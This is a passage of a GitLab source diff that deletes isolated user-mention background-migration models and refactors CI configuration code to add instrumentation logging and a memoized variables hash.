diff --git a/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_feature_gate.rb b/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_feature_gate.rb
deleted file mode 100644
index ba6b783f9f1..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_feature_gate.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- module Concerns
- # isolated FeatureGate module
- module IsolatedFeatureGate
- def flipper_id
- return if new_record?
-
- "#{self.class.name}:#{id}"
- end
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_mentionable.rb b/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_mentionable.rb
deleted file mode 100644
index f684f789ea9..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/concerns/isolated_mentionable.rb
+++ /dev/null
@@ -1,104 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- module Concerns
- # == IsolatedMentionable concern
- #
- # Shortcutted for isolation version of Mentionable to be used in mentions migrations
- #
- module IsolatedMentionable
- extend ::ActiveSupport::Concern
-
- class_methods do
- # Indicate which attributes of the Mentionable to search for GFM references.
- def attr_mentionable(attr, options = {})
- attr = attr.to_s
- mentionable_attrs << [attr, options]
- end
- end
-
- included do
- # Accessor for attributes marked mentionable.
- cattr_accessor :mentionable_attrs, instance_accessor: false do
- []
- end
-
- if self < Participable
- participant -> (user, ext) { all_references(user, extractor: ext) }
- end
- end
-
- def all_references(current_user = nil, extractor: nil)
- # Use custom extractor if it's passed in the function parameters.
- if extractor
- extractors[current_user] = extractor
- else
- extractor = extractors[current_user] ||=
- Gitlab::BackgroundMigration::UserMentions::Lib::Gitlab::IsolatedReferenceExtractor.new(project, current_user)
-
- extractor.reset_memoized_values
- end
-
- self.class.mentionable_attrs.each do |attr, options|
- text = __send__(attr) # rubocop:disable GitlabSecurity/PublicSend
- options = options.merge(
- cache_key: [self, attr],
- author: author,
- skip_project_check: skip_project_check?
- ).merge(mentionable_params)
-
- cached_html = self.try(:updated_cached_html_for, attr.to_sym)
- options[:rendered] = cached_html if cached_html
-
- extractor.analyze(text, options)
- end
-
- extractor
- end
-
- def extractors
- @extractors ||= {}
- end
-
- def skip_project_check?
- false
- end
-
- def build_mention_values(resource_foreign_key)
- refs = all_references(author)
-
- mentioned_users_ids = array_to_sql(refs.isolated_mentioned_users.pluck(:id))
- mentioned_projects_ids = array_to_sql(refs.isolated_mentioned_projects.pluck(:id))
- mentioned_groups_ids = array_to_sql(refs.isolated_mentioned_groups.pluck(:id))
-
- return if mentioned_users_ids.blank? && mentioned_projects_ids.blank? && mentioned_groups_ids.blank?
-
- {
- "#{resource_foreign_key}": user_mention_resource_id,
- note_id: user_mention_note_id,
- mentioned_users_ids: mentioned_users_ids,
- mentioned_projects_ids: mentioned_projects_ids,
- mentioned_groups_ids: mentioned_groups_ids
- }
- end
-
- def array_to_sql(ids_array)
- return unless ids_array.present?
-
- '{' + ids_array.join(", ") + '}'
- end
-
- private
-
- def mentionable_params
- {}
- end
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/concerns/mentionable_migration_methods.rb b/lib/gitlab/background_migration/user_mentions/models/concerns/mentionable_migration_methods.rb
deleted file mode 100644
index efb08d44100..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/concerns/mentionable_migration_methods.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- module Concerns
- # Extract common no_quote_columns method used in determining the columns that do not need
- # to be quoted for corresponding models
- module MentionableMigrationMethods
- extend ::ActiveSupport::Concern
-
- class_methods do
- def no_quote_columns
- [
- :note_id,
- user_mention_model.resource_foreign_key
- ]
- end
- end
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/concerns/namespace/recursive_traversal.rb b/lib/gitlab/background_migration/user_mentions/models/concerns/namespace/recursive_traversal.rb
deleted file mode 100644
index 75759ed0111..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/concerns/namespace/recursive_traversal.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- module Concerns
- module Namespace
- # isolate recursive traversal code for namespace hierarchy
- module RecursiveTraversal
- extend ActiveSupport::Concern
-
- def root_ancestor
- return self if persisted? && parent_id.nil?
-
- strong_memoize(:root_ancestor) do
- Gitlab::ObjectHierarchy
- .new(self.class.where(id: id))
- .base_and_ancestors
- .reorder(nil)
- .find_by(parent_id: nil)
- end
- end
-
- # Returns all ancestors, self, and descendants of the current namespace.
- def self_and_hierarchy
- Gitlab::ObjectHierarchy
- .new(self.class.where(id: id))
- .all_objects
- end
-
- # Returns all the ancestors of the current namespaces.
- def ancestors
- return self.class.none unless parent_id
-
- Gitlab::ObjectHierarchy
- .new(self.class.where(id: parent_id))
- .base_and_ancestors
- end
-
- # returns all ancestors upto but excluding the given namespace
- # when no namespace is given, all ancestors upto the top are returned
- def ancestors_upto(top = nil, hierarchy_order: nil)
- Gitlab::ObjectHierarchy.new(self.class.where(id: id))
- .ancestors(upto: top, hierarchy_order: hierarchy_order)
- end
-
- def self_and_ancestors(hierarchy_order: nil)
- return self.class.where(id: id) unless parent_id
-
- Gitlab::ObjectHierarchy
- .new(self.class.where(id: id))
- .base_and_ancestors(hierarchy_order: hierarchy_order)
- end
-
- # Returns all the descendants of the current namespace.
- def descendants
- Gitlab::ObjectHierarchy
- .new(self.class.where(parent_id: id))
- .base_and_descendants
- end
-
- def self_and_descendants
- Gitlab::ObjectHierarchy
- .new(self.class.where(id: id))
- .base_and_descendants
- end
- end
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/design_management/design.rb b/lib/gitlab/background_migration/user_mentions/models/design_management/design.rb
deleted file mode 100644
index d010d68600d..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/design_management/design.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- module DesignManagement
- class Design < ActiveRecord::Base
- include EachBatch
- include Concerns::MentionableMigrationMethods
-
- self.table_name = 'design_management_designs'
- self.inheritance_column = :_type_disabled
-
- def self.user_mention_model
- Gitlab::BackgroundMigration::UserMentions::Models::DesignUserMention
- end
-
- def user_mention_model
- self.class.user_mention_model
- end
-
- def user_mention_resource_id
- id
- end
-
- def user_mention_note_id
- 'NULL'
- end
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/design_user_mention.rb b/lib/gitlab/background_migration/user_mentions/models/design_user_mention.rb
deleted file mode 100644
index eb00f6cfa3f..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/design_user_mention.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- class DesignUserMention < ActiveRecord::Base
- self.table_name = 'design_user_mentions'
- self.inheritance_column = :_type_disabled
-
- def self.resource_foreign_key
- :design_id
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/epic.rb b/lib/gitlab/background_migration/user_mentions/models/epic.rb
deleted file mode 100644
index cfd9a4faa9b..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/epic.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- class Epic < ActiveRecord::Base
- include EachBatch
- include Concerns::IsolatedMentionable
- include Concerns::MentionableMigrationMethods
- include CacheMarkdownField
-
- attr_mentionable :title, pipeline: :single_line
- attr_mentionable :description
- cache_markdown_field :title, pipeline: :single_line
- cache_markdown_field :description, issuable_state_filter_enabled: true
-
- self.table_name = 'epics'
- self.inheritance_column = :_type_disabled
-
- belongs_to :author, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::User"
- belongs_to :group, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Group"
-
- def self.user_mention_model
- Gitlab::BackgroundMigration::UserMentions::Models::EpicUserMention
- end
-
- def user_mention_model
- self.class.user_mention_model
- end
-
- def project
- nil
- end
-
- def mentionable_params
- { group: group, label_url_method: :group_epics_url }
- end
-
- def user_mention_resource_id
- id
- end
-
- def user_mention_note_id
- 'NULL'
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/epic_user_mention.rb b/lib/gitlab/background_migration/user_mentions/models/epic_user_mention.rb
deleted file mode 100644
index 579e4d99612..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/epic_user_mention.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- class EpicUserMention < ActiveRecord::Base
- self.table_name = 'epic_user_mentions'
- self.inheritance_column = :_type_disabled
-
- def self.resource_foreign_key
- :epic_id
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/group.rb b/lib/gitlab/background_migration/user_mentions/models/group.rb
deleted file mode 100644
index 310723570c2..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/group.rb
+++ /dev/null
@@ -1,97 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- # isolated Group model
- class Group < ::Gitlab::BackgroundMigration::UserMentions::Models::Namespace
- self.store_full_sti_class = false
- self.inheritance_column = :_type_disabled
-
- has_one :saml_provider
-
- def root_saml_provider
- root_ancestor.saml_provider
- end
-
- def self.declarative_policy_class
- "GroupPolicy"
- end
-
- def max_member_access_for_user(user)
- return GroupMember::NO_ACCESS unless user
-
- return GroupMember::OWNER if user.admin?
-
- max_member_access = members_with_parents.where(user_id: user)
- .reorder(access_level: :desc)
- .first
- &.access_level
-
- max_member_access || GroupMember::NO_ACCESS
- end
-
- def members_with_parents
- # Avoids an unnecessary SELECT when the group has no parents
- source_ids =
- if has_parent?
- self_and_ancestors.reorder(nil).select(:id)
- else
- id
- end
-
- group_hierarchy_members = GroupMember.active_without_invites_and_requests
- .where(source_id: source_ids)
-
- GroupMember.from_union([group_hierarchy_members,
- members_from_self_and_ancestor_group_shares])
- end
-
- # rubocop: disable Metrics/AbcSize
- def members_from_self_and_ancestor_group_shares
- group_group_link_table = GroupGroupLink.arel_table
- group_member_table = GroupMember.arel_table
-
- source_ids =
- if has_parent?
- self_and_ancestors.reorder(nil).select(:id)
- else
- id
- end
-
- group_group_links_query = GroupGroupLink.where(shared_group_id: source_ids)
- cte = Gitlab::SQL::CTE.new(:group_group_links_cte, group_group_links_query)
- cte_alias = cte.table.alias(GroupGroupLink.table_name)
-
- # Instead of members.access_level, we need to maximize that access_level at
- # the respective group_group_links.group_access.
- member_columns = GroupMember.attribute_names.map do |column_name|
- if column_name == 'access_level'
- smallest_value_arel([cte_alias[:group_access], group_member_table[:access_level]],
- 'access_level')
- else
- group_member_table[column_name]
- end
- end
-
- GroupMember
- .with(cte.to_arel)
- .select(*member_columns)
- .from([group_member_table, cte.alias_to(group_group_link_table)])
- .where(group_member_table[:requested_at].eq(nil))
- .where(group_member_table[:source_id].eq(group_group_link_table[:shared_with_group_id]))
- .where(group_member_table[:source_type].eq('Namespace'))
- end
- # rubocop: enable Metrics/AbcSize
-
- def smallest_value_arel(args, column_alias)
- Arel::Nodes::As.new(
- Arel::Nodes::NamedFunction.new('LEAST', args),
- Arel::Nodes::SqlLiteral.new(column_alias))
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/merge_request.rb b/lib/gitlab/background_migration/user_mentions/models/merge_request.rb
deleted file mode 100644
index 13addcc3c55..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/merge_request.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- class MergeRequest < ActiveRecord::Base
- include EachBatch
- include Concerns::IsolatedMentionable
- include CacheMarkdownField
- include Concerns::MentionableMigrationMethods
-
- attr_mentionable :title, pipeline: :single_line
- attr_mentionable :description
- cache_markdown_field :title, pipeline: :single_line
- cache_markdown_field :description, issuable_state_filter_enabled: true
-
- self.table_name = 'merge_requests'
- self.inheritance_column = :_type_disabled
-
- belongs_to :author, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::User"
- belongs_to :target_project, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Project"
- belongs_to :source_project, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Project"
-
- alias_attribute :project, :target_project
-
- def self.user_mention_model
- Gitlab::BackgroundMigration::UserMentions::Models::MergeRequestUserMention
- end
-
- def user_mention_model
- self.class.user_mention_model
- end
-
- def user_mention_resource_id
- id
- end
-
- def user_mention_note_id
- 'NULL'
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/merge_request_user_mention.rb b/lib/gitlab/background_migration/user_mentions/models/merge_request_user_mention.rb
deleted file mode 100644
index 4a85892d7b8..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/merge_request_user_mention.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- class MergeRequestUserMention < ActiveRecord::Base
- self.table_name = 'merge_request_user_mentions'
- self.inheritance_column = :_type_disabled
-
- def self.resource_foreign_key
- :merge_request_id
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/namespace.rb b/lib/gitlab/background_migration/user_mentions/models/namespace.rb
deleted file mode 100644
index d76d06606ee..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/namespace.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- # isolated Namespace model
- class Namespace < ActiveRecord::Base
- self.inheritance_column = :_type_disabled
-
- include Concerns::IsolatedFeatureGate
- include Gitlab::BackgroundMigration::UserMentions::Lib::Gitlab::IsolatedVisibilityLevel
- include ::Gitlab::Utils::StrongMemoize
- include Gitlab::BackgroundMigration::UserMentions::Models::Concerns::Namespace::RecursiveTraversal
-
- belongs_to :parent, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Namespace"
-
- def visibility_level_field
- :visibility_level
- end
-
- def has_parent?
- parent_id.present? || parent.present?
- end
-
- # Deprecated, use #licensed_feature_available? instead. Remove once Namespace#feature_available? isn't used anymore.
- def feature_available?(feature)
- licensed_feature_available?(feature)
- end
-
- # Overridden in EE::Namespace
- def licensed_feature_available?(_feature)
- false
- end
- end
- end
- end
- end
-end
-
-Namespace.prepend_mod_with('Namespace')
diff --git a/lib/gitlab/background_migration/user_mentions/models/note.rb b/lib/gitlab/background_migration/user_mentions/models/note.rb
deleted file mode 100644
index 4026a91903f..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/note.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- class Note < ActiveRecord::Base
- include EachBatch
- include Concerns::IsolatedMentionable
- include CacheMarkdownField
-
- self.table_name = 'notes'
- self.inheritance_column = :_type_disabled
-
- attr_mentionable :note, pipeline: :note
- cache_markdown_field :note, pipeline: :note, issuable_state_filter_enabled: true
-
- belongs_to :author, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::User"
- belongs_to :noteable, polymorphic: true
- belongs_to :project, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Project"
-
- def for_personal_snippet?
- noteable && noteable.instance_of?(PersonalSnippet)
- end
-
- def for_project_noteable?
- !for_personal_snippet? && !for_epic?
- end
-
- def skip_project_check?
- !for_project_noteable?
- end
-
- def for_epic?
- noteable && noteable_type == 'Epic'
- end
-
- def user_mention_resource_id
- noteable_id || commit_id
- end
-
- def user_mention_note_id
- id
- end
-
- def noteable
- super unless for_commit?
- end
-
- def for_commit?
- noteable_type == "Commit"
- end
-
- private
-
- def mentionable_params
- return super unless for_epic?
-
- super.merge(banzai_context_params)
- end
-
- def banzai_context_params
- return {} unless noteable
-
- { group: noteable.group, label_url_method: :group_epics_url }
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/project.rb b/lib/gitlab/background_migration/user_mentions/models/project.rb
deleted file mode 100644
index 4e02bf97d12..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/project.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- # isolated Namespace model
- class Project < ActiveRecord::Base
- include Concerns::IsolatedFeatureGate
- include Gitlab::BackgroundMigration::UserMentions::Lib::Gitlab::IsolatedVisibilityLevel
-
- self.table_name = 'projects'
- self.inheritance_column = :_type_disabled
-
- belongs_to :group, -> { where(type: 'Group') }, foreign_key: 'namespace_id', class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Group"
- belongs_to :namespace, class_name: "::Gitlab::BackgroundMigration::UserMentions::Models::Namespace"
- alias_method :parent, :namespace
-
- # Returns a collection of projects that is either public or visible to the
- # logged in user.
- def self.public_or_visible_to_user(user = nil, min_access_level = nil)
- min_access_level = nil if user&.can_read_all_resources?
-
- return public_to_user unless user
-
- if user.is_a?(::Gitlab::BackgroundMigration::UserMentions::Models::User)
- where('EXISTS (?) OR projects.visibility_level IN (?)',
- user.authorizations_for_projects(min_access_level: min_access_level),
- levels_for_user(user))
- end
- end
-
- def grafana_integration
- nil
- end
-
- def default_issues_tracker?
- true # we do not care of the issue tracker type(internal or external) when parsing mentions
- end
-
- def visibility_level_field
- :visibility_level
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/user_mentions/models/user.rb b/lib/gitlab/background_migration/user_mentions/models/user.rb
deleted file mode 100644
index a30220b6934..00000000000
--- a/lib/gitlab/background_migration/user_mentions/models/user.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- module UserMentions
- module Models
- # isolated Namespace model
- class User < ActiveRecord::Base
- include Concerns::IsolatedFeatureGate
-
- self.table_name = 'users'
- self.inheritance_column = :_type_disabled
-
- has_many :project_authorizations, dependent: :delete_all # rubocop:disable Cop/ActiveRecordDependent
-
- def authorizations_for_projects(min_access_level: nil, related_project_column: 'projects.id')
- authorizations = project_authorizations
- .select(1)
- .where("project_authorizations.project_id = #{related_project_column}")
-
- return authorizations unless min_access_level.present?
-
- authorizations.where('project_authorizations.access_level >= ?', min_access_level)
- end
-
- def can_read_all_resources?
- can?(:read_all_resources)
- end
-
- def can?(action, subject = :global)
- Ability.allowed?(self, action, subject)
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/bitbucket_server_import/importer.rb b/lib/gitlab/bitbucket_server_import/importer.rb
index 899e2e6c1c5..242979da367 100644
--- a/lib/gitlab/bitbucket_server_import/importer.rb
+++ b/lib/gitlab/bitbucket_server_import/importer.rb
@@ -19,7 +19,8 @@ module Gitlab
end
def self.refmap
- [:heads, :tags, '+refs/pull-requests/*/to:refs/merge-requests/*/head']
+ # We omit :heads and :tags since these are fetched in the import_repository
+ ['+refs/pull-requests/*/to:refs/merge-requests/*/head']
end
# Unlike GitHub, you can't grab the commit SHAs for pull requests that
@@ -140,11 +141,11 @@ module Gitlab
def import_repository
log_info(stage: 'import_repository', message: 'starting import')
- project.ensure_repository
+ project.repository.import_repository(project.import_url)
project.repository.fetch_as_mirror(project.import_url, refmap: self.class.refmap)
log_info(stage: 'import_repository', message: 'finished import')
- rescue Gitlab::Shell::Error => e
+ rescue ::Gitlab::Git::CommandError => e
Gitlab::ErrorTracking.log_exception(
e,
stage: 'import_repository', message: 'failed import', error: e.message
diff --git a/lib/gitlab/chat/output.rb b/lib/gitlab/chat/output.rb
index 4a55b81a9eb..b4ce05ca06d 100644
--- a/lib/gitlab/chat/output.rb
+++ b/lib/gitlab/chat/output.rb
@@ -48,10 +48,10 @@ module Gitlab
# follows it will produce a nil. For example:
#
# "\n".split("\n") # => []
- # "\n".split("\n")[1..-1] # => nil
+ # "\n".split("\n")[1..] # => nil
#
# To work around this we only "join" if we're given an Array.
- if (converted = output.split("\n")[1..-1])
+ if (converted = output.split("\n")[1..])
converted.join("\n")
else
''
diff --git a/lib/gitlab/ci/badge/coverage/report.rb b/lib/gitlab/ci/badge/coverage/report.rb
index 78b51dbdaf0..4d1193176ad 100644
--- a/lib/gitlab/ci/badge/coverage/report.rb
+++ b/lib/gitlab/ci/badge/coverage/report.rb
@@ -30,7 +30,7 @@ module Gitlab::Ci
@coverage ||= raw_coverage
return unless @coverage
- @coverage.to_f.round(2)
+ @coverage.round(2)
end
def metadata
diff --git a/lib/gitlab/ci/badge/metadata.rb b/lib/gitlab/ci/badge/metadata.rb
index eec9fedfaa9..244e3aff851 100644
--- a/lib/gitlab/ci/badge/metadata.rb
+++ b/lib/gitlab/ci/badge/metadata.rb
@@ -8,14 +8,13 @@ module Gitlab::Ci
class Metadata
include Gitlab::Routing
include ActionView::Helpers::AssetTagHelper
- include ActionView::Helpers::UrlHelper
def initialize(badge)
@badge = badge
end
def to_html
- link_to(image_tag(image_url, alt: title), link_url)
+ ApplicationController.helpers.link_to(image_tag(image_url, alt: title), link_url)
end
def to_markdown
diff --git a/lib/gitlab/ci/build/context/base.rb b/lib/gitlab/ci/build/context/base.rb
index c7ea7c78e2f..81f96e822f4 100644
--- a/lib/gitlab/ci/build/context/base.rb
+++ b/lib/gitlab/ci/build/context/base.rb
@@ -17,6 +17,12 @@ module Gitlab
raise NotImplementedError
end
+ def variables_hash
+ strong_memoize(:variables_hash) do
+ variables.to_hash
+ end
+ end
+
def project
pipeline.project
end
diff --git a/lib/gitlab/ci/build/policy/variables.rb b/lib/gitlab/ci/build/policy/variables.rb
index 7b1ce6330f0..810523052ae 100644
--- a/lib/gitlab/ci/build/policy/variables.rb
+++ b/lib/gitlab/ci/build/policy/variables.rb
@@ -10,7 +10,7 @@ module Gitlab
end
def satisfied_by?(pipeline, context)
- variables = context.variables
+ variables = context.variables_hash
statements = @expressions.map do |statement|
::Gitlab::Ci::Pipeline::Expression::Statement
diff --git a/lib/gitlab/ci/build/rules/rule/clause/changes.rb b/lib/gitlab/ci/build/rules/rule/clause/changes.rb
index 9c2f6eea1dd..82a59fdb4e1 100644
--- a/lib/gitlab/ci/build/rules/rule/clause/changes.rb
+++ b/lib/gitlab/ci/build/rules/rule/clause/changes.rb
@@ -23,7 +23,7 @@ module Gitlab
return @globs unless context
@globs.map do |glob|
- ExpandVariables.expand_existing(glob, context.variables)
+ ExpandVariables.expand_existing(glob, -> { context.variables_hash })
end
end
end
diff --git a/lib/gitlab/ci/build/rules/rule/clause/if.rb b/lib/gitlab/ci/build/rules/rule/clause/if.rb
index 6143a736ca6..499a265a1e2 100644
--- a/lib/gitlab/ci/build/rules/rule/clause/if.rb
+++ b/lib/gitlab/ci/build/rules/rule/clause/if.rb
@@ -10,7 +10,7 @@ module Gitlab
def satisfied_by?(pipeline, context)
::Gitlab::Ci::Pipeline::Expression::Statement.new(
- @expression, context.variables).truthful?
+ @expression, context.variables_hash).truthful?
end
end
end
diff --git a/lib/gitlab/ci/config.rb b/lib/gitlab/ci/config.rb
index 6f149385969..42b487fdf81 100644
--- a/lib/gitlab/ci/config.rb
+++ b/lib/gitlab/ci/config.rb
@@ -17,21 +17,27 @@ module Gitlab
Config::Yaml::Tags::TagError
].freeze
- attr_reader :root, :context, :source_ref_path, :source
+ attr_reader :root, :context, :source_ref_path, :source, :logger
- def initialize(config, project: nil, pipeline: nil, sha: nil, user: nil, parent_pipeline: nil, source: nil)
+ def initialize(config, project: nil, pipeline: nil, sha: nil, user: nil, parent_pipeline: nil, source: nil, logger: nil)
+ @logger = logger || ::Gitlab::Ci::Pipeline::Logger.new(project: project)
@source_ref_path = pipeline&.source_ref_path
- @context = build_context(project: project, pipeline: pipeline, sha: sha, user: user, parent_pipeline: parent_pipeline)
+ @context = self.logger.instrument(:config_build_context) do
+ build_context(project: project, pipeline: pipeline, sha: sha, user: user, parent_pipeline: parent_pipeline)
+ end
+
@context.set_deadline(TIMEOUT_SECONDS)
@source = source
- @config = expand_config(config)
-
- @root = Entry::Root.new(@config)
- @root.compose!
+ @config = self.logger.instrument(:config_expand) do
+ expand_config(config)
+ end
+ @root = self.logger.instrument(:config_compose) do
+ Entry::Root.new(@config).tap(&:compose!)
+ end
rescue *rescue_errors => e
raise Config::ConfigError, e.message
end
@@ -94,11 +100,25 @@ module Gitlab
end
def build_config(config)
- initial_config = Config::Yaml.load!(config)
- initial_config = Config::External::Processor.new(initial_config, @context).perform
- initial_config = Config::Extendable.new(initial_config).to_hash
- initial_config = Config::Yaml::Tags::Resolver.new(initial_config).to_hash
- Config::EdgeStagesInjector.new(initial_config).to_hash
+ initial_config = logger.instrument(:config_yaml_load) do
+ Config::Yaml.load!(config)
+ end
+
+ initial_config = logger.instrument(:config_external_process) do
+ Config::External::Processor.new(initial_config, @context).perform
+ end
+
+ initial_config = logger.instrument(:config_yaml_extend) do
+ Config::Extendable.new(initial_config).to_hash
+ end
+
+ initial_config = logger.instrument(:config_tags_resolve) do
+ Config::Yaml::Tags::Resolver.new(initial_config).to_hash
+ end
+
+ logger.instrument(:config_stages_inject) do
+ Config::EdgeStagesInjector.new(initial_config).to_hash
+ end
end
def find_sha(project)
@@ -115,10 +135,20 @@ module Gitlab
sha: sha || find_sha(project),
user: user,
parent_pipeline: parent_pipeline,
- variables: build_variables(project: project, pipeline: pipeline))
+ variables: build_variables(project: project, pipeline: pipeline),
+ logger: logger)
end
def build_variables(project:, pipeline:)
+ logger.instrument(:config_build_variables) do
+ build_variables_without_instrumentation(
+ project: project,
+ pipeline: pipeline
+ )
+ end
+ end
+
+ def build_variables_without_instrumentation(project:, pipeline:)
Gitlab::Ci::Variables::Collection.new.tap do |variables|
break variables unless project
diff --git a/lib/gitlab/ci/config/entry/processable.rb b/lib/gitlab/ci/config/entry/processable.rb
index 520b1ce6119..43475742214 100644
--- a/lib/gitlab/ci/config/entry/processable.rb
+++ b/lib/gitlab/ci/config/entry/processable.rb
@@ -26,7 +26,7 @@ module Gitlab
validates :name, length: { maximum: 255 }, if: -> { ::Feature.enabled?(:ci_validate_job_length, default_enabled: :yaml) }
validates :config, disallowed_keys: {
- in: %i[only except when start_in],
+ in: %i[only except start_in],
message: 'key may not be used with `rules`'
},
if: :has_rules?
diff --git a/lib/gitlab/ci/config/entry/tags.rb b/lib/gitlab/ci/config/entry/tags.rb
index ca3b48372e2..6044cfddbdc 100644
--- a/lib/gitlab/ci/config/entry/tags.rb
+++ b/lib/gitlab/ci/config/entry/tags.rb
@@ -16,8 +16,6 @@ module Gitlab
validates :config, array_of_strings: true
validate do
- next unless ::Feature.enabled?(:ci_build_tags_limit, default_enabled: :yaml)
-
if config.is_a?(Array) && config.size >= TAGS_LIMIT
errors.add(:config, _("must be less than the limit of %{tag_limit} tags") % { tag_limit: TAGS_LIMIT })
end
diff --git a/lib/gitlab/ci/config/external/context.rb b/lib/gitlab/ci/config/external/context.rb
index 51624dc30ea..308414af47d 100644
--- a/lib/gitlab/ci/config/external/context.rb
+++ b/lib/gitlab/ci/config/external/context.rb
@@ -9,17 +9,22 @@ module Gitlab
TimeoutError = Class.new(StandardError)
+ include ::Gitlab::Utils::StrongMemoize
+
attr_reader :project, :sha, :user, :parent_pipeline, :variables
- attr_reader :expandset, :execution_deadline
+ attr_reader :expandset, :execution_deadline, :logger
+
+ delegate :instrument, to: :logger
- def initialize(project: nil, sha: nil, user: nil, parent_pipeline: nil, variables: [])
+ def initialize(project: nil, sha: nil, user: nil, parent_pipeline: nil, variables: nil, logger: nil)
@project = project
@sha = sha
@user = user
@parent_pipeline = parent_pipeline
- @variables = variables
+ @variables = variables || Ci::Variables::Collection.new
@expandset = Set.new
@execution_deadline = 0
+ @logger = logger || Gitlab::Ci::Pipeline::Logger.new(project: project)
yield self if block_given?
end
@@ -36,10 +41,17 @@ module Gitlab
end
end
+ def variables_hash
+ strong_memoize(:variables_hash) do
+ variables.to_hash
+ end
+ end
+
def mutate(attrs = {})
self.class.new(**attrs) do |ctx|
ctx.expandset = expandset
ctx.execution_deadline = execution_deadline
+ ctx.logger = logger
end
end
@@ -60,7 +72,7 @@ module Gitlab
protected
- attr_writer :expandset, :execution_deadline
+ attr_writer :expandset, :execution_deadline, :logger
private
diff --git a/lib/gitlab/ci/config/external/mapper.rb b/lib/gitlab/ci/config/external/mapper.rb
index 95f1a842c50..a5bf066c81f 100644
--- a/lib/gitlab/ci/config/external/mapper.rb
+++ b/lib/gitlab/ci/config/external/mapper.rb
@@ -30,6 +30,18 @@ module Gitlab
def process
return [] if locations.empty?
+ logger.instrument(:config_mapper_process) do
+ process_without_instrumentation
+ end
+ end
+
+ private
+
+ attr_reader :locations, :context
+
+ delegate :expandset, :logger, to: :context
+
+ def process_without_instrumentation
locations
.compact
.map(&method(:normalize_location))
@@ -41,14 +53,14 @@ module Gitlab
.map(&method(:select_first_matching))
end
- private
-
- attr_reader :locations, :context
-
